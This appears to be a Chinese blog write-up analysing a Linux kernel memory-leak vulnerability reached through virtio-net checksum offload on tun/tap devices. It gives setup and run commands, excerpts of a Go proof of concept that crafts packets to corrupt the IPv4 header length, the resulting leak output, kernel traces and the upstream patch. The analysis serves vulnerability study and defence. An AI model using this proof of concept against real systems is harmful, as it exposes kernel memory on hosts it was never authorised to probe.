文章目录
- 简介
- [poc 编译与执行](#poc 编译与执行)
- 前要知识
- [virtio-net VIRTIO_NET_HDR_F_NEEDS_CSUM](#virtio-net VIRTIO_NET_HDR_F_NEEDS_CSUM)
- 报文修改
- [poc 的设计](#poc 的设计)
- 修复补丁
- 总结
- 参考
简介
通过 poc: CVE-2026-99999 lab probe 分析 CVE-2026-99999 漏洞原理,该 poc 是目前 github 简单搜索得到的几个 poc 中得分最高的,看不出明显 AI 痕迹的一个。
复现该 poc 最好在 6.6+ 内核中进行,6.6 的某一个子版本及之前版本会导致 poc 所需两层 vlan 无法使用需要调整 poc,vlan 不是漏洞利用必须项。
复现poc需要开启以下内核功能
CONFIG_VETH # ip link add pwnv0 type veth peer name pwnv1
CONFIG_XFRM
CONFIG_NETFILTER_XT_TARGET_CHECKSUM
CONFIG_TUN
CONFIG_NF_TABLES
CONFIG_NF_TABLES_INET
CONFIG_NFT_CT
poc 编译与执行
# 静态构建
# GOTOOLCHAIN=local CGO_ENABLED=0 go build -ldflags '-extldflags "-static"' -o poc poc.go
# ./scripts/setup.sh
# ip netns exec pwnesc ./poc
# ./scripts/setup.sh
[ 1038.361703] pwntap: entered promiscuous mode
net.ipv4.ip_forward = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.pwntap.rp_filter = 0
net.ipv4.conf.pwnv0.rp_filter = 0
pwnesc ready. Leave pwntap unattached and run: sudo ./poc
# ip netns exec pwnesc ./poc
adjustment 0x691a at IP offset 32
verify: first byte 0x4f ihl=15 hdr=4f0000c4111120003ffd5ba80a0000020a630002
adjustment 0x24d6 at IP offset 32
head: payload=8 frame=50 linear_after_strip=28 copy=60 past_headlen=32 via=slab skb (tun_alloc_skb) spray=0 fill=0xee
head: the offset-0 fragment is the skb whose bytes after skb_headlen are copied
leak: 3 output fragment(s)
frag 0 first=0x4f ihl_bytes=60 tot=196
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
frag 1 first=0x4f ihl_bytes=60 tot=196
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
frag 2 first=0x4f ihl_bytes=60 tot=156
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
result: fragmenter copied 32 bytes past the 28-byte linear head into IPv4 options
note: -head selects that skb; -page uses a page_frag head whose tail can hold skb metadata
前要知识
virtio-net 网络报文有三种使用方法:TUN、TAP、virtio-net(虚拟机网卡驱动)。TUN TAP 是虚拟的三层、二层接口,分别可以绑定一个 ip 地址、mac 地址。通常用于提供给容器或者虚拟机网络能力。
协议有csum计算功能,当 flag & VIRTIO_NET_HDR_F_NEEDS_CSUM 时启用,报文将会在转发时计算校验值填写在 csum_start + csum_offset 位置。
/* include/uapi/linux/virtio_net.h */
struct virtio_net_hdr {
__u8 flags; /* VIRTIO_NET_HDR_F_NEEDS_CSUM, etc. */
......
__virtio16 csum_start; /* offset to start of checksum */
__virtio16 csum_offset; /* offset within csum_start to place checksum */
};
参考
virtio-net VIRTIO_NET_HDR_F_NEEDS_CSUM
poc 在每次发送报文时都会使用计算报文校验值功能功能,virtio_net_hdr的第一个字节是flag,flag & 1 表示开启计算报文校验值功能,当开启该功能时,需要计算校验值的区域偏移值填写在在virtio_net_hdr第6个字节开始的csum_start、csum_offset中
struct virtio_net_hdr_v1 {
#define VIRTIO_NET_HDR_F_NEEDS_CSUM 1 /* Use csum_start, csum_offset */
struct virtio_net_hdr {
/* See VIRTIO_NET_HDR_F_* */
__u8 flags;
/* See VIRTIO_NET_HDR_GSO_* */
__u8 gso_type;
__virtio16 hdr_len; /* Ethernet + IP + tcp/udp hdrs */
__virtio16 gso_size; /* Bytes to append to hdr_len per frame */
__virtio16 csum_start; /* Position to start checksumming from */
__virtio16 csum_offset; /* Offset after that to place checksum */
};
在 tun 收到报文后通过 virtio_net_hdr_to_skb -> skb_partial_csum_set 标记在 skb->ip_summed = CHECKSUM_PARTIAL;
#0 skb_partial_csum_set (skb=skb@entry=0xffff888005822200, start=start@entry=22, off=0) at net/core/skbuff.c:5401
#1 0xffffffff8189daa1 in virtio_net_hdr_to_skb (skb=skb@entry=0xffff888005822200, hdr=hdr@entry=0xffffc90000863d86, little_endian=true) at ./include/linux/virtio_net.h:104
#2 0xffffffff818a0959 in tun_get_user (tun=tun@entry=0xffff888005abc900, tfile=tfile@entry=0xffff888005aa9000, msg_control=msg_control@entry=0x0 <fixed_percpu_data>, from=from@entry=0xffffc90000863e48, noblock=<optimized out>, more=more@entry=false) at drivers/net/tun.c:1873
#3 0xffffffff818a147f in tun_chr_write_iter (iocb=0xffffc90000863e70, from=0xffffc90000863e48) at drivers/net/tun.c:2055
#4 0xffffffff81354954 in call_write_iter (iter=0x18 <fixed_percpu_data+24>, kio=0xffffc90000863e70, file=0xffff8880065ec300) at ./include/linux/fs.h:2018
#5 new_sync_write (ppos=0xffffc90000863ee0, len=352, buf=0xc0001ce160 "\001", filp=0xffff8880065ec300) at fs/read_write.c:491
#6 vfs_write (file=file@entry=0xffff8880065ec300, buf=buf@entry=0xc0001ce160 "\001", count=count@entry=352, pos=pos@entry=0xffffc90000863ee0) at fs/read_write.c:584
#7 0xffffffff81354d57 in ksys_write (fd=<optimized out>, buf=0xc0001ce160 "\001", count=352) at fs/read_write.c:637
#8 0xffffffff81354e0d in __do_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:649
#9 __se_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:646
#10 __x64_sys_write (regs=<optimized out>) at fs/read_write.c:6
对应 poc 的writeTap函数,当开启csum = True时,start对应csum_start。
func writeTap(tap *os.File, frame []byte, csum bool, start uint16) error {
buf := make([]byte, 10+len(frame))
if csum {
buf[0] = needsCsum
binary.LittleEndian.PutUint16(buf[6:], start)
}
copy(buf[10:], frame)
for {
_, err := tap.Write(buf)
VIRTIO_NET_HDR_F_NEEDS_CSUM一共在以下5个文件功能处会用到
7 个结果 - 5 文件
drivers/net/tap.c:
665 iov_iter_advance(from, vnet_hdr_len - sizeof(vnet_hdr));
666: if ((vnet_hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
667 tap16_to_cpu(q, vnet_hdr.csum_start) +
drivers/net/tun.c:
1786
1787: if ((gso.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
1788 tun16_to_cpu(tun, gso.csum_start) + tun16_to_cpu(tun, gso.csum_offset) + 2 > tun16_to_cpu(tun, gso.hdr_len))
drivers/net/virtio_net.c:
1193 /* Partially checksummed packets must be dropped. */
1194: if (unlikely(hdr->hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM))
1195 goto err_xdp;
1519 /* Partially checksummed packets must be dropped. */
1520: if (unlikely(hdr->hdr.flags & VIRTIO_NET_HDR_F_NEEDS_CSUM))
1521 return NULL;
1802 * virtnet_xdp_set()), so packets marked as
1803: * VIRTIO_NET_HDR_F_NEEDS_CSUM get dropped during XDP processing.
1804 */
drivers/vhost/net.c:
737
738: if ((gso->flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
739 vhost16_to_cpu(vq, gso->csum_start) +
net/packet/af_packet.c:
2604 {
2605: if ((vnet_hdr->flags & VIRTIO_NET_HDR_F_NEEDS_CSUM) &&
2606 (__virtio16_to_cpu(vio_le(), vnet_hdr->csum_start) +
对应两个攻击模式:
| 入口 | 代码 | 谁在发包 |
|---|---|---|
| tun/tap | drivers/net/tun.c:1787 drivers/net/tap.c:666 | 用户态进程 write(/dev/net/tun) 或 socket 到 tap 设备 |
| vhost-net | drivers/vhost/net.c:738 | QEMU 虚拟机通过 virtio-net 前端 |
报文修改
CHECKSUM_PARTIAL 漏洞起作用发生在 ip_do_fragment处,该处是当一个 ip 包超过 mtu 时切片处理位置。
net/ipv4/ip_output.c
int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
int (*output)(struct net *, struct sock *, struct sk_buff *))
{
/* for offloaded checksums cleanup checksum before fragmentation */
if (skb->ip_summed == CHECKSUM_PARTIAL &&
(err = skb_checksum_help(skb)))
goto fail;
ip_do_fragment -> skb_checksum_help 计算校验值,并写入。
net/core/dev.c
int skb_checksum_help(struct sk_buff *skb)
{
offset = skb_checksum_start_offset(skb); // skb->csum_start - (skb->data - skb->head);
csum = skb_checksum(skb, offset, skb->len - offset, 0); // 计算 offset..skb->len - offset 的校验值
*(__sum16 *)(skb->data + offset) = csum_fold(csum) ?: CSUM_MANGLED_0;
此时,offet 为剥离其他头后的偏移地址 0,poc 使用的是 tap 二层接口,对应 csum 填充位置为二层 ip 头的位置
-exec p skb->csum_start - (skb->data - skb->head)
$15 = 0
ip 报文格式,至少20个字节
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 字段 | 长度 | 含义 |
|---|---|---|
| Version | 4比特 | 4:表示为IPv4;6:表示为IPv6。 |
| IHL | 4比特 | 首部长度,如果不带Option字段,则为20,最长为60,该值限制了记录路由选项。以4字节为一个单位。 |
| Type of Service | 8比特 | 服务类型。只有在有QoS差分服务要求时这个字段才起作用。 |
| Total Length | 16比特 | 总长度,整个IP数据报的长度,包括首部和数据之和,单位为字节,最长65535,总长度必须不超过最大传输单元MTU。 |
| Identification | 16比特 | 标识,主机每发一个报文,加1,分片重组时会用到该字段。 |
| Flags | 3比特 | 标志位: |
| Fragment Offset | 13比特 | 片偏移:分片重组时会用到该字段。表示较长的分组在分片后,某片在原分组中的相对位置。以8个字节为偏移单位。 |
| Time to Live | 8比特 | 生存时间:可经过的最多路由数,即数据包在网络中可通过的路由器数的最大值。 |
| Protocol | 8比特 | 协议:下一层协议。指出此数据包携带的数据使用何种协议,以便目的主机的IP层将数据部分上交给哪个进程处理。 |
| Header Checksum | 16比特 | 首部检验和,只检验数据包的首部,不检验数据部分。这里不采用CRC检验码,而采用简单的计算方法。 |
| Source Address | 32比特 | 源IP地址。 |
| Destination Address | 32比特 | 目的IP地址。 |
| Options | 可变 | 选项字段,用来支持排错,测量以及安全等措施,内容丰富(请参见表3-7)。选项字段长度可变,从1字节到40字节不等,取决于所选项的功能。 |
| Padding | 可变 | 填充字段,全填0。 |
计算出要写回的校验值为 0x004f,小端写回后,Version = 0x4 不变,IHL = 0xf 变大,Type of Service = 0 不变
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
iph = ip_hdr(skb); // (struct iphdr *)(skb->head + skb->network_header);
-exec p/x *iph
$11 = {
ihl = 0xf,
version = 0x4,
tos = 0x0,
tot_len = 0xac01,
id = 0x9999,
frag_off = 0x0,
ttl = 0x3f,
protocol = 0xfd,
check = 0x55cb,
{
{
saddr = 0x200000a,
daddr = 0x200630a
},
addrs = {
saddr = 0x200000a,
daddr = 0x200630a
}
}
}
在skb_checksum_help之后,ip_do_fragment重新读取了ip头iph = ip_hdr(skb);,通过ip_frag_next进行分片
net/ipv4/ip_output.c
int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
int (*output)(struct net *, struct sock *, struct sk_buff *))
{
/* for offloaded checksums cleanup checksum before fragmentation */
if (skb->ip_summed == CHECKSUM_PARTIAL &&
(err = skb_checksum_help(skb)))
goto fail;
/*
* Point into the IP datagram header.
*/
iph = ip_hdr(skb); // (struct iphdr *)(skb->head + skb->network_header);
hlen = iph->ihl * 4;
/*
* Fragment the datagram.
*/
ip_frag_init(skb, hlen, ll_rs, mtu, IPCB(skb)->flags & IPSKB_FRAG_PMTU,
&state);
/*
* Keep copying data until we run out.
*/
while (state.left > 0) {
skb2 = ip_frag_next(skb, &state);
void ip_frag_init(struct sk_buff *skb, unsigned int hlen,
unsigned int ll_rs, unsigned int mtu, bool DF,
struct ip_frag_state *state)
state->hlen = hlen;
ip_frag_next的分片会分别拷贝头部和数据部分,头部的拷贝直接使用memcpy,而memcpy不会检查数据越界。而拷贝数据用的skb_copy_bits会考虑数据之间可能不连续,可能长度越界。
struct sk_buff *ip_frag_next(struct sk_buff *skb, struct ip_frag_state *state)
{
/*
* Copy the packet header into the new buffer.
*/
skb_copy_from_linear_data(skb, skb_network_header(skb2), state->hlen); // memcpy(skb2->head + skb2->network_header, skb->data, state->hlen);
/*
* Copy a block of the IP datagram.
*/
if (skb_copy_bits(skb, state->ptr, skb_transport_header(skb2), len)) // skb->data[hlen(state->ptr)..hlen + len] 拷贝到 skb_transport_header(skb2)
#0 ip_frag_next (skb=skb@entry=0xffff888005822400, state=state@entry=0xffffc90000763a68) at net/ipv4/ip_output.c:714
#1 0xffffffff81aaf7da in ip_do_fragment (net=0xffff888005b58000, sk=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400, output=output@entry=0xffffffff81aaeaa0 <ip_finish_output2>) at net/ipv4/ip_output.c:905
#2 0xffffffff81aafbd3 in ip_fragment (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400, mtu=mtu@entry=200, output=0xffffffff81aaeaa0 <ip_finish_output2>) at net/ipv4/ip_output.c:584
#3 0xffffffff81aafccf in __ip_finish_output (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400) at net/ipv4/ip_output.c:311
#4 0xffffffff81aaff33 in __ip_finish_output (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_output.c:437
#5 ip_finish_output (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_output.c:323
#6 NF_HOOK_COND (pf=2 '\002', hook=4, okfn=0xffffffff81ab0050 <ip_finish_output>, cond=<optimized out>, out=0xffff888005b74000, in=0xffff888005abc000, skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at ./include/linux/netfilter.h:293
#7 ip_output (net=0xffff888005b58000, sk=0x0 <fixed_percpu_data>, skb=0xffff888005822400) at net/ipv4/ip_output.c:433
#8 0xffffffff81aac8e5 in dst_output (skb=<optimized out>, sk=<optimized out>, net=0xffff888005b58000) at ./include/net/dst.h:458
#9 ip_forward_finish (net=net@entry=0xffff888005b58000, sk=sk@entry=0x0 <fixed_percpu_data>, skb=skb@entry=0xffff888005822400) at net/ipv4/ip_forward.c:82
#10 0xffffffff81aacdd6 in NF_HOOK (pf=2 '\002', hook=2, sk=0x0 <fixed_percpu_data>, okfn=0xffffffff81aac860 <ip_forward_finish>, out=0xffff888005b74000, in=0xffff888005abc000, skb=0xffff888005822400, net=0xffff888005b58000) at ./include/linux/netfilter.h:304
#11 ip_forward (skb=0xffff888005822400) at net/ipv4/ip_forward.c:162
#12 0xffffffff81aab614 in dst_input (skb=0xffff888005822400) at ./include/net/dst.h:468
#13 ip_rcv_finish (skb=0xffff888005822400, sk=0x0 <fixed_percpu_data>, net=0xffff888005b58000) at net/ipv4/ip_input.c:449
#14 NF_HOOK (sk=0x0 <fixed_percpu_data>, pf=2 '\002', hook=0, in=<optimized out>, out=0x0 <fixed_percpu_data>, okfn=0xffffffff81aab470 <ip_rcv_finish>, skb=0xffff888005822400, net=0xffff888005b58000) at ./include/linux/netfilter.h:304
#15 NF_HOOK (pf=2 '\002', sk=0x0 <fixed_percpu_data>, out=0x0 <fixed_percpu_data>, okfn=0xffffffff81aab470 <ip_rcv_finish>, in=<optimized out>, skb=0xffff888005822400, net=0xffff888005b58000, hook=0) at ./include/linux/netfilter.h:298
#16 ip_rcv (skb=0xffff888005822400, dev=<optimized out>, pt=<optimized out>, orig_dev=<optimized out>) at net/ipv4/ip_input.c:569
#17 0xffffffff819c9c69 in __netif_receive_skb_one_core (skb=<optimized out>, pfmemalloc=pfmemalloc@entry=false) at net/core/dev.c:5559
#18 0xffffffff819c9cf5 in __netif_receive_skb (skb=<optimized out>) at net/core/dev.c:5673
#19 0xffffffff819c9d8d in netif_receive_skb_internal (skb=0xffff888005822400) at net/core/dev.c:5759
#20 netif_receive_skb (skb=skb@entry=0xffff888005822400) at net/core/dev.c:5818
#21 0xffffffff818a0f37 in tun_rx_batched (more=0, skb=0xffff888005822400, tfile=0xffff888005aa8800, tun=0xffff888005abc900) at drivers/net/tun.c:1580
#22 tun_get_user (tun=tun@entry=0xffff888005abc900, tfile=tfile@entry=0xffff888005aa8800, msg_control=msg_control@entry=0x0 <fixed_percpu_data>, from=from@entry=0xffffc90000763e48, noblock=<optimized out>, more=more@entry=false) at drivers/net/tun.c:2009
#23 0xffffffff818a147f in tun_chr_write_iter (iocb=0xffffc90000763e70, from=0xffffc90000763e48) at drivers/net/tun.c:2055
#24 0xffffffff81354954 in call_write_iter (iter=0xc4, kio=0xffffc90000763e70, file=0xffff888006589800) at ./include/linux/fs.h:2018
#25 new_sync_write (ppos=0xffffc90000763ee0, len=60, buf=0xc00001c100 "\001", filp=0xffff888006589800) at fs/read_write.c:491
#26 vfs_write (file=file@entry=0xffff888006589800, buf=buf@entry=0xc00001c100 "\001", count=count@entry=60, pos=pos@entry=0xffffc90000763ee0) at fs/read_write.c:584
#27 0xffffffff81354d57 in ksys_write (fd=<optimized out>, buf=0xc00001c100 "\001", count=60) at fs/read_write.c:637
#28 0xffffffff81354e0d in __do_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:649
#29 __se_sys_write (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:646
#30 __x64_sys_write (regs=<optimized out>) at fs/read_write.c:646
poc 的设计
发送报文需要两次,并且倒序,先发送second包,payload 部分偏移从8开始,payload 总计 408 字节,后发送最前面 8 字节的报文。
前 8 字节填充为 0xa5,目的是 poc 获取到多余内核数据时判断结果用,多获取的 40 字节(ip 头由 20 变 60 字节)内容将会前 8 字节是 0xa5
func leak(tap *os.File, cap *capture, c cfg) error {
payload := make([]byte, c.head+c.rest) // 408 字节的 data
for i := 0; i < c.head; i++ {
payload[i] = marker // 0xa5
}
if !solve(payload, ipID) {
return errors.New("solver found no 0x4f00 adjustment")
}
printHead(c)
// Large fragment first, then same-sized spray, then the offset-0 head.
// The head skb is the one whose tail the 60-byte copy reads.
second := frame(fragment(c.head, false, payload[c.head:])) // 第二个帧,data[8:], offset是 8,id 相同
if err := writeTap(tap, second, true, l2Len+ipLen); err != nil {
return err
}
first := frame(fragment(0, true, payload[:c.head])) // 同一个帧 id 相同,data 只有 8 字节的 0xa5
if err := writeTap(tap, first, true, csumAtIP); err != nil {
return err
}
solve 函数用来调整报文,目的是让报文的校验和最终值是 0x4f,这样 0x4 是代表 ipv4 协议不变,0xf * 4 = 60 将会替代原来 ip 头部表示大小的 IHL 字段,达到内核泄漏数据的目的,发送的报文 IHL 是正常的 20 20字节的含义,但是内核在计算校验值覆盖 ip 头部后,ip 报文的头部被当成了 60 字节,多的 40 字节为 ip 报文的 option 字段。
adj = 32 的目的是,先跳过 ip 头 20 字节,再跳过当作泄漏分析用的第一个报文的 8 字节 0xa5,再字节对齐后的值。在此地调整 payload 使得最终的 checksum 为 0x4f 开头。
// solve sets a payload word so skb_checksum_help stores 0x4f00 at offset 0
// after the forwarding TTL decrement.
func solve(payload []byte, id uint16) bool {
const adj = 32 // even IP offset, inside the second fragment for the leak case
if adj+1 >= ipLen+len(payload) {
return false
}
off := adj - ipLen
for w := 0; w < 65536; w++ {
payload[off] = byte(w)
payload[off+1] = byte(w >> 8)
pkt := datagram(id, payload)
forwardTTL(pkt)
if csumFold(csumPartial(pkt)) == 0x004f {
fmt.Printf("adjustment %#04x at IP offset %d\n", w, adj)
两个报文逆序送到内核协议栈后,经过合并、切片,拆分为三个报文:
head: payload=8 frame=50 linear_after_strip=28 copy=60 past_headlen=32 via=slab skb (tun_alloc_skb) spray=0 fill=0xee
head: the offset-0 fragment is the skb whose bytes after skb_headlen are copied
leak: 3 output fragment(s)
frag 0 first=0x4f ihl_bytes=60 tot=196
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
frag 1 first=0x4f ihl_bytes=60 tot=196
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
frag 2 first=0x4f ihl_bytes=60 tot=156
options 40 bytes: a5a5a5a5a5a5a5a545514e554d3d3733370000000000000000000000000000000000000000000000
past guest linear payload: 32 byte(s), 9 nonzero
result: fragmenter copied 32 bytes past the 28-byte linear head into IPv4 options
note: -head selects that skb; -page uses a page_frag head whose tail can hold skb metadata
每个报文的 ip 头经过调整,多了 options 40 bytes,多拷贝的部分前 8 字节来自于 first 报文的数据部分,数据的前 8 字节是 0xa5,后面的就不一定了,为内核泄漏的内存信息。两个数据包进入内核合并后内存地址并不会合并,所以第一个数据包的 8 字节 payload 后并非第二个报文内容。
三个报文的长度分别是 tot=196 - head 60 = 136, 136, tot=156 - head 60 = 96 = 368
但是发送的报文长度是 408,缺少的 40 正式因为 ip 头被错误当作 60 字节后负载经过了重新计算 state->left = skb->len - hlen = 428 - 60 = 368,最终 payload 少了 40 字节,数据泄露不会发生在 payload 字段中。
修复补丁
补丁在skb_checksum_help之前新增了一个ip_check_csum_start函数检查校验字段填写位置的合法性,要求必须在 IP 头之后。
diff --git a/include/net/ip.h b/include/net/ip.h
index baea9acd7e85..32825e2ac43d 100644
--- a/include/net/ip.h
+++ b/include/net/ip.h
@@ -72,6 +72,13 @@ static inline unsigned int ip_hdrlen(const struct sk_buff *skb)
return ip_hdr(skb)->ihl * 4;
}
+static inline int ip_check_csum_start(const struct sk_buff *skb)
+{
+ if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
+ return -EINVAL;
+ return 0;
+}
+
struct ipcm_cookie {
struct sockcm_cookie sockc;
__be32 addr;
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 3bb198b2c101..c8f966d8c77f 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -778,9 +778,13 @@ int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
int err = 0;
/* for offloaded checksums cleanup checksum before fragmentation */
- if (skb->ip_summed == CHECKSUM_PARTIAL &&
- (err = skb_checksum_help(skb)))
- goto fail;
+ if (skb->ip_summed == CHECKSUM_PARTIAL) {
+ err = ip_check_csum_start(skb);
+ if (!err)
+ err = skb_checksum_help(skb);
+ if (err)
+ goto fail;
+ }
/*
* Point into the IP datagram header.
补丁:
总结
- 在使用 ip 头之前先进行了
skb_checksum_help,但skb_checksum_help未能保证 checksum 被填入了 ip 头的正确位置,virtio_net_hdr来源不可信。 - 早期阶段使用时按照20字节的头部处理,正确到达了此处分片位置,但再次使用时重读 ip 头,头信息变成了 60 字节,中间存在窗口。
问题
- 只发一个报文可以触发漏洞吗?
- 不能,重新利用 ip 头,并发生头拷贝的代码在重新分片的位置
- poc 新建了 net ns 是必须的吗
- 不是,仅仅是为了隔离环境
- 不抓包,数据泄露可能发生到报文中吗
- 不能,仅拷贝 ip 头的
skb_copy_from_linear_data函数才会忽略数据边界拷贝,拷贝报文前报文长度会重新计算,正如 poc 结果中最后收到的报文数据长度变短了
- 不能,仅拷贝 ip 头的
必要的环境
- 注入异常数据包 (virtio-net 协议)
- tap | tun
- virtio-net
- 收到异常数据包(需要收到 ip 头)
- AF_PACKET + SOCK_RAW,需要 CAP_NET_RAW
- tcpdump/libpcap
- eBPF / XDP,需要 CAP_BPF + CAP_NET_ADMIN
...